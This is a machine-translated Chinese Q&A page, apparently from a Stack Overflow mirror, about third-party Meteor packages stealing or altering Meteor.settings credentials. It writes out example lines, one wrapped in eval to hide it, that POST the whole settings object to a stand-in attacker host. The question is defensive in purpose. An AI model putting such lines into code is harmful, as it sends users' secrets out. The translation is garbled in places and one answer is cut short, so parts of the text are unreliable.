我已经过测试,第三方太空中允许这两件事:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
我希望能够保护我的设置免受第三方的侵害。
情景:
Meteor.settings
文件中包含敏感数据,特别是在制作中,因为这是目前放置它们的最佳做法。iron:router
,但可能是一位鲜为人知的作者。Meteor.settings
并执行一些HTTP帖子,其中会发送一些我的设置。 HTTP.post('http://evil.haxor', Meteor.settings) # all ur settings
动臂即可。我立即泄露了我的生产凭证,支付网关,亚马逊等等。更糟糕的是,据我所知,窃取settings
的代码可能会被加载到eval
中,因此我甚至看不到字符串" Meteor。设置"在包的来源。
我已经过测试,第三方太空中允许这两件事:
Meteor.settings.foo = "foobar" # why u change my settings?
eval("HTTP.post('evil.haxor', Meteor.settings)") # nooooo
我可以使用hacky解决方案。我知道Meteor团队可能不会立即解决这个问题,考虑到所有问题(Windows支持,非Mongo数据库)。我只是希望能够为我的公司提供这种级别的安全性,我认为会让审计师发现这种开放程度。否则我担心我手动安全审核我使用的每个包。
感谢您的考虑!
编辑:我现在看到包看到/窃取设置的风险与任何包读取(或写入)文件系统的问题基本相同。解决这个问题的最佳方法是加密。这是一个有效的提案,我可以立即使用。但是,我认为可以而且应该是包装范围内的概念'设置。此外,与评论者的对话使我意识到另一个问题,即设置在运行时(易于)修改的问题,可以通过使用ES5属性使设置对象成为只读来解决。
答案 0 :(得分:0)
恶意npm软件包可以附带本机代码扩展,直接访问文件系统,并且通常可以执行应用程序中其余代码可以执行的任何操作。
我看到了2个(部分)解决方案:
还有其他更先进的探测器 - 但是在某些时候,黑客会追逐其他服务,并且不会尝试修改你的代码。
祝你好运。它的好处是偏执 - 因为它们真的是为了得到你。